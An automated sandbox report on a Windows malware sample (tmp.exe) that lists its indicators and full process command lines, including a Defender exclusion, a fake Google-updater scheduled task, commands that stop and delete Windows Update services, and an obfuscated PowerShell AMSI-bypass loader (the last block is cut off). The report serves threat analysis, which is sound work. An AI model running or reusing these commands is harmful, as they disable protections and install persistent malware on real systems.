40ef7d8a6123e7842889f15406677fabf2534c5680f3c0df2c0087b7fe14ec63

Analysis

max time kernel
23s
max time network
30s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2022, 07:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tmp.exe
Size

3.7MB
MD5

35dbf36cc33d84930bac9d66a141af05
SHA1

11e41f289355a99f812f400247632403feabd494
SHA256

40ef7d8a6123e7842889f15406677fabf2534c5680f3c0df2c0087b7fe14ec63
SHA512

d16cf2f1f29c6f5c838c08f055e39d2b54639ffd18b3d7dff950fc55a06c9ec495c2272456072ab014f7b81671b6ae66a89a73ccab3f78b4757f4e9129fb7fb5
SSDEEP

98304:AJlcIHDP4vYrKkLBbpPAHeoqFnIBMzwNCX:+lzjP8YTBbpPA+CBbN

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

description	pid	Process	procid_target
PID 2564 created 980	2564	tmp.exe	19
PID 2564 created 980	2564	tmp.exe	19
PID 2564 created 980	2564	tmp.exe	19
PID 2564 created 980	2564	tmp.exe	19
PID 2564 created 980	2564	tmp.exe	19
PID 2564 created 980	2564	tmp.exe	19

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	tmp.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2564 set thread context of 2264	2564	tmp.exe	102

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	tmp.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3200	sc.exe
3900	sc.exe
3172	sc.exe
3964	sc.exe
1272	sc.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2564	tmp.exe
2564	tmp.exe
992	powershell.exe
992	powershell.exe
2564	tmp.exe
2564	tmp.exe
2564	tmp.exe
2564	tmp.exe
2564	tmp.exe
2564	tmp.exe
3220	powershell.exe
3220	powershell.exe
2564	tmp.exe
2564	tmp.exe
2564	tmp.exe
2564	tmp.exe
3276	powershell.exe
3276	powershell.exe
4612	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	992	powershell.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeShutdownPrivilege	2804	powercfg.exe
Token: SeCreatePagefilePrivilege	2804	powercfg.exe
Token: SeShutdownPrivilege	1276	powercfg.exe
Token: SeCreatePagefilePrivilege	1276	powercfg.exe
Token: SeShutdownPrivilege	4036	powercfg.exe
Token: SeCreatePagefilePrivilege	4036	powercfg.exe
Token: SeShutdownPrivilege	4048	powercfg.exe
Token: SeCreatePagefilePrivilege	4048	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3220	powershell.exe
Token: SeSecurityPrivilege	3220	powershell.exe
Token: SeTakeOwnershipPrivilege	3220	powershell.exe
Token: SeLoadDriverPrivilege	3220	powershell.exe
Token: SeSystemProfilePrivilege	3220	powershell.exe
Token: SeSystemtimePrivilege	3220	powershell.exe
Token: SeProfSingleProcessPrivilege	3220	powershell.exe
Token: SeIncBasePriorityPrivilege	3220	powershell.exe
Token: SeCreatePagefilePrivilege	3220	powershell.exe
Token: SeBackupPrivilege	3220	powershell.exe
Token: SeRestorePrivilege	3220	powershell.exe
Token: SeShutdownPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeSystemEnvironmentPrivilege	3220	powershell.exe
Token: SeRemoteShutdownPrivilege	3220	powershell.exe
Token: SeUndockPrivilege	3220	powershell.exe
Token: SeManageVolumePrivilege	3220	powershell.exe
Token: 33	3220	powershell.exe
Token: 34	3220	powershell.exe
Token: 35	3220	powershell.exe
Token: 36	3220	powershell.exe
Token: SeIncreaseQuotaPrivilege	3220	powershell.exe
Token: SeSecurityPrivilege	3220	powershell.exe
Token: SeTakeOwnershipPrivilege	3220	powershell.exe
Token: SeLoadDriverPrivilege	3220	powershell.exe
Token: SeSystemProfilePrivilege	3220	powershell.exe
Token: SeSystemtimePrivilege	3220	powershell.exe
Token: SeProfSingleProcessPrivilege	3220	powershell.exe
Token: SeIncBasePriorityPrivilege	3220	powershell.exe
Token: SeCreatePagefilePrivilege	3220	powershell.exe
Token: SeBackupPrivilege	3220	powershell.exe
Token: SeRestorePrivilege	3220	powershell.exe
Token: SeShutdownPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeSystemEnvironmentPrivilege	3220	powershell.exe
Token: SeRemoteShutdownPrivilege	3220	powershell.exe
Token: SeUndockPrivilege	3220	powershell.exe
Token: SeManageVolumePrivilege	3220	powershell.exe
Token: 33	3220	powershell.exe
Token: 34	3220	powershell.exe
Token: 35	3220	powershell.exe
Token: 36	3220	powershell.exe
Token: SeIncreaseQuotaPrivilege	3220	powershell.exe
Token: SeSecurityPrivilege	3220	powershell.exe
Token: SeTakeOwnershipPrivilege	3220	powershell.exe
Token: SeLoadDriverPrivilege	3220	powershell.exe
Token: SeSystemProfilePrivilege	3220	powershell.exe
Token: SeSystemtimePrivilege	3220	powershell.exe
Token: SeProfSingleProcessPrivilege	3220	powershell.exe
Token: SeIncBasePriorityPrivilege	3220	powershell.exe
Token: SeCreatePagefilePrivilege	3220	powershell.exe
Token: SeBackupPrivilege	3220	powershell.exe
Token: SeRestorePrivilege	3220	powershell.exe
Token: SeShutdownPrivilege	3220	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2164 wrote to memory of 3200	2164	cmd.exe	88
PID 2164 wrote to memory of 3200	2164	cmd.exe	88
PID 2460 wrote to memory of 2804	2460	cmd.exe	89
PID 2460 wrote to memory of 2804	2460	cmd.exe	89
PID 2164 wrote to memory of 3900	2164	cmd.exe	90
PID 2164 wrote to memory of 3900	2164	cmd.exe	90
PID 2460 wrote to memory of 1276	2460	cmd.exe	91
PID 2460 wrote to memory of 1276	2460	cmd.exe	91
PID 2164 wrote to memory of 3172	2164	cmd.exe	92
PID 2164 wrote to memory of 3172	2164	cmd.exe	92
PID 2460 wrote to memory of 4036	2460	cmd.exe	93
PID 2460 wrote to memory of 4036	2460	cmd.exe	93
PID 2164 wrote to memory of 3964	2164	cmd.exe	94
PID 2164 wrote to memory of 3964	2164	cmd.exe	94
PID 2460 wrote to memory of 4048	2460	cmd.exe	95
PID 2460 wrote to memory of 4048	2460	cmd.exe	95
PID 2164 wrote to memory of 1272	2164	cmd.exe	96
PID 2164 wrote to memory of 1272	2164	cmd.exe	96
PID 2164 wrote to memory of 1416	2164	cmd.exe	97
PID 2164 wrote to memory of 1416	2164	cmd.exe	97
PID 2164 wrote to memory of 2672	2164	cmd.exe	98
PID 2164 wrote to memory of 2672	2164	cmd.exe	98
PID 2164 wrote to memory of 2652	2164	cmd.exe	99
PID 2164 wrote to memory of 2652	2164	cmd.exe	99
PID 2164 wrote to memory of 4564	2164	cmd.exe	100
PID 2164 wrote to memory of 4564	2164	cmd.exe	100
PID 2164 wrote to memory of 5072	2164	cmd.exe	101
PID 2164 wrote to memory of 5072	2164	cmd.exe	101
PID 2564 wrote to memory of 2264	2564	tmp.exe	102
PID 3276 wrote to memory of 1456	3276	powershell.exe	109
PID 3276 wrote to memory of 1456	3276	powershell.exe	109

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:980
- C:\Users\Admin\AppData\Local\Temp\tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#aiwmbiup#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3220
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1276
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4036
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4048
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3200
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3900
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3172
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3964
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1272
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1416
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2672
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2652
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4564
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:5072
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#pavnoof#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:uHWZGivNdbfg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qgNWNnoPcBDfqq,[Parameter(Position=1)][Type]$EUPWWbfrCe)$BjSTNsQdAHU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+'l'+''+[Char](101)+''+'c'+'te'+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+'ry'+[Char](77)+'od'+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+'eT'+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+'S'+'e'+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+'as'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+'o'+''+'C'+''+[Char](108)+'ass',[MulticastDelegate]);$BjSTNsQdAHU.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+'c'+''+'i'+'a'+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$qgNWNnoPcBDfqq).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');$BjSTNsQdAHU.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+'S'+'i'+''+[Char](103)+''+','+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t,V'+[Char](105)+''+'r'+'t'+[Char](117)+''+'a'+''+'l'+'',$EUPWWbfrCe,$qgNWNnoPcBDfqq).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+'nag'+[Char](101)+'d');Write-Output $BjSTNsQdAHU.CreateType();}$gfUWYheCoGJam=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+'em'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+'r'+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+'3'+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+'eg'+'f'+''+'U'+''+'W'+''+[Char](89)+''+'h'+'eC'+[Char](111)+'G'+[Char](74)+''+[Char](97)+''+[Char](109)+'');$SyyKIEvEmEelXH=$gfUWYheCoGJam.GetMethod(''+[Char](83)+'y'+'y'+''+[Char](75)+''+[Char](73)+''+[Char](69)+''+[Char](118)+''+[Char](69)+''+[Char](109)+''+[Char](69)+''+[Char](101)+''+[Char](108)+''+'X'+''+[Char](72)+'',[Reflection.BindingFlags]''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$zmEgbFuRBooeHwQBCQD=uHWZGivNdbfg @([String])([IntPtr]);$xfZWAwHNwscrgAzetXdUyQ=uHWZGivNdbfg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xUEupmaiusY=$gfUWYheCoGJam.GetMethod(''+'G'+''+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+'rn'+[Char](101)+'l'+[Char](51)+'2'+'.'+'d'+[Char](108)+'l')));$aireQOTYHtNMpd=$SyyKIEvEmEelXH.Invoke($Null,@([Object]$xUEupmaiusY,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+''+'r'+''+[Char](97)+'r'+[Char](121)+'A')));$IdiHKEJAZRwQpmfEi=$SyyKIEvEmEelXH.Invoke($Null,@([Object]$xUEupmaiusY,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+'t'+'')));$MGSwPGI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aireQOTYHtNMpd,$zmEgbFuRBooeHwQBCQD).Invoke(''+'a'+'m'+[Char](115)+''+'i'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$yaLawzPwQgNQdxRWI=$SyyKIEvEmEelXH.Invoke($Null,@([Object]$MGSwPGI,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+'r')));$ysmZmRAlFR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IdiHKEJAZRwQpmfEi,$xfZWAwHNwscrgAzetXdUyQ).Invoke($yaLawzPwQgNQdxRWI,[uint32]8,4,[ref]$ysmZmRAlFR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$yaLawzPwQgNQdxRWI,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IdiHKEJAZRwQpmfEi,$xfZWAwHNwscrgAzetXdUyQ).Invoke($yaLawzPwQgNQdxRWI,[uint32]8,0x20,[ref]$ysmZmRAlFR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+'E').GetValue('di'+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+'s'+'t'+'ag'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
1⤵
PID:4404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sxAlHkGsEkrW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PVfdBqcjETvkRA,[Parameter(Position=1)][Type]$MDqhJTadsk)$XLucTNvhpHO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'Del'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+'l'+'e'+'d'+''+','+''+'A'+''+'n'+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+'A'+[Char](117)+''+'t'+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XLucTNvhpHO.DefineConstructor(''+'R'+'T'+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+'l'+''+'N'+'a'+'m'+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PVfdBqcjETvkRA).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+'i'+'me'+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$XLucTNvhpHO.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+','+''+[Char](78)+''+'e'+''+'w'+''+[Char](83)+''+'l'+''+'o'+'t,Vi'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$MDqhJTadsk,$PVfdBqcjETvkRA).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $XLucTNvhpHO.CreateType();}$CBFCPAwfjGmvy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 